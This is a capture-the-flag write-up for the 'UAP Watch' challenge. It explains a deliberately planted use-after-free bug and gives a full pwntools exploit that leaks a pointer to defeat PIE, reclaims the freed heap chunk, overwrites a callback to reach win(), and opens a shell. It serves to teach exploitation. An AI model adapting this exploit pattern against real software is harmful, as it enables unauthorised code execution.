UAP Watch is a binary exploitation challenge that demonstrates a classic Use-After-Free (UAF) vulnerability. The program simulates an "Unidentified Aerial Phenomena" incident tracker with two main data structures: Reports and Signals. The vulnerability lies in how the program handles memory deallocation, leaving dangling pointers that can be exploited to gain code execution.
Let's start by understanding what we're working with. The program provides a console interface for managing UAP reports and signals:
=== UAP Incident Console ===
1) add report
2) delete report
3) rename report
4) analyze report
5) inspect report (telemetry)
6) add signal
7) drop signal
0) exit
The program uses two critical data structures, both exactly 64 bytes in size:
typedef struct { char title[56]; // User-provided title cb_t on_analyze; // Callback function pointer} Report; // 64 bytes totaltypedef struct { char raw[64]; // Raw user data} Signal; // 64 bytes total
Pointers to both structures are stored in global arrays, but the stuctures themselves are stored on the heap:
1. Report *reports[MAXR]; (max 8 reports)
2. Signal *signals[MAXS]; (max 8 signals)
The bug is in the delete_report() function:
static void delete_report(void) { int i = getint("[ops] report index: "); if (i < 0 || i >= MAXR || !reports[i]) { puts("[control] invalid."); return; } free(reports[i]); /* BUG: pointer left dangling → UAF surface */ /* reports[i] = NULL; */ /* intended fix */ puts("[ops] report deleted (archived).");}
The critical issue: After calling free(), the pointer reports[i] is not set to NULL. This creates a dangling pointer - the memory has been freed and returned to the heap, but the program still thinks it's valid.
The exploitation follows a classic UAF pattern:
1. Create a Report - Allocate memory and set up a valid callback
2. Leak Addresses - Use the inspect function to leak the callback address for PIE bypass
3. Free the Report - Create the dangling pointer
4. Reallocate as Signal - Overwrite the freed memory with controlled data
5. Trigger the UAF - Call the dangling pointer, now pointing to our controlled data
First, we create a report to establish our target memory chunk:
add_report(io, b"sighting-0")
This allocates a 64-byte Report structure on the heap with:
title: "sighting-0" (56 bytes)on_analyze: redaction function pointer (8 bytes)Since the binary is compiled with PIE (Position Independent Executable), we need to leak the base address. The inspect_report() function conveniently leaks the callback pointer:
static void inspect_report(void) { int i = getint("[ops] report index: "); if (i < 0 || i >= MAXR || !reports[i]) { puts("[control] invalid."); return; } printf("[telemetry] title='%s'\n", reports[i]->title); printf("[telemetry] anomaly-cb=%p\n", (void*)reports[i]->on_analyze); /* info leak for PIE */}
redaction_leak = inspect_report(io, 0)
We can calculate the PIE base and the address of the win() function:
pie_base = redaction_leak - redaction_offset
win_addr = pie_base + win_offset
Now we free the report, creating our dangling pointer:
delete_report(io, 0)
At this point:
reports[0] still points to the freed memorySince both Report and Signal structures are exactly 64 bytes, we can allocate a Signal that will reuse the same memory chunk:
payload = b"A"*56 + p64(win_addr)
add_signal(io, payload)
This overwrites the freed Report structure with:
Finally, we call analyze_report() which will execute the callback:
static void analyze_report(void) { int i = getint("[ops] report index: "); if (i < 0 || i >= MAXR || !reports[i]) { puts("[control] invalid."); return; } puts("[analysis] beginning spectral/trajectory inference …"); /* If the chunk was freed and reused by a Signal, this is a UAF call. */ reports[i]->on_analyze(); /* ← control target */}
Since reports[0] still points to the memory we just overwrote, reports[0]->on_analyze() now calls our win() function instead of redaction().
The key insight is that both structures are exactly 64 bytes, which means they'll be allocated from the same heap bin (likely tcache for small chunks). When we free a Report and immediately allocate a Signal, the heap allocator will likely reuse the same memory location.
Modern glibc uses tcache (thread local cache) for small allocations. When we free a 64-byte chunk, it goes into a tcache bin. The next 64-byte allocation will likely reuse this chunk, giving us control over the memory that the dangling pointer still references.
The Report structure contains a function pointer that gets called during analysis. By overwriting this pointer with the address of win(), we redirect program execution to our target function.
#!/usr/bin/env python3from pwn import *import syscontext.log_level = "info"context.arch = "amd64"# Hardcoded offsetsREDACTION_OFF = 0x11c9WIN_OFF = 0x11dfdef start(argv): if len(argv) >= 1 and argv[0] == "remote": host, port = argv[1], int(argv[2]) io = remote(host, port) return io else: path = argv[0] if len(argv) >= 1 else "./uap-watch" io = process(path, level="DEBUG") return iodef menu(io): io.recvuntil(b"=== UAP Incident Console ===")def add_report(io, title=b"foo"): menu(io) io.sendline(b"1") io.recvuntil(b"new sighting title:") io.sendline(title)def delete_report(io, idx=0): menu(io) io.sendline(b"2") io.recvuntil(b"report index:") io.sendline(str(idx).encode())def analyze_report(io, idx=0): menu(io) io.sendline(b"4") io.recvuntil(b"report index:") io.sendline(str(idx).encode())def inspect_report(io, idx=0): menu(io) io.sendline(b"5") io.recvuntil(b"report index:") io.sendline(str(idx).encode()) io.recvuntil(b"anomaly-cb=") leak_line = io.recvline().strip() leak = int(leak_line, 16) log.info(f"Leaked callback pointer: {hex(leak)}") return leakdef add_signal(io, data: bytes): menu(io) io.sendline(b"6") io.recvuntil(b"paste narrowband capture (64 bytes):") io.send(data)def main(): io = start(sys.argv[1:]) # Step 1: Create a report add_report(io, b"sighting-0") # Step 2: Leak redaction() address redaction_leak = inspect_report(io, 0) pie_base = redaction_leak - REDACTION_OFF win_addr = pie_base + WIN_OFF log.success(f"PIE base: {hex(pie_base)}") log.success(f"win() addr: {hex(win_addr)}") # Step 3: Free report → dangling pointer delete_report(io, 0) # Step 4: Allocate signal to overlap, overwrite callback payload = b"A"*56 + p64(win_addr) add_signal(io, payload) # Step 5: Trigger callback analyze_report(io, 0) # Step 6: Drop to shell io.interactive()if __name__ == "__main__": main()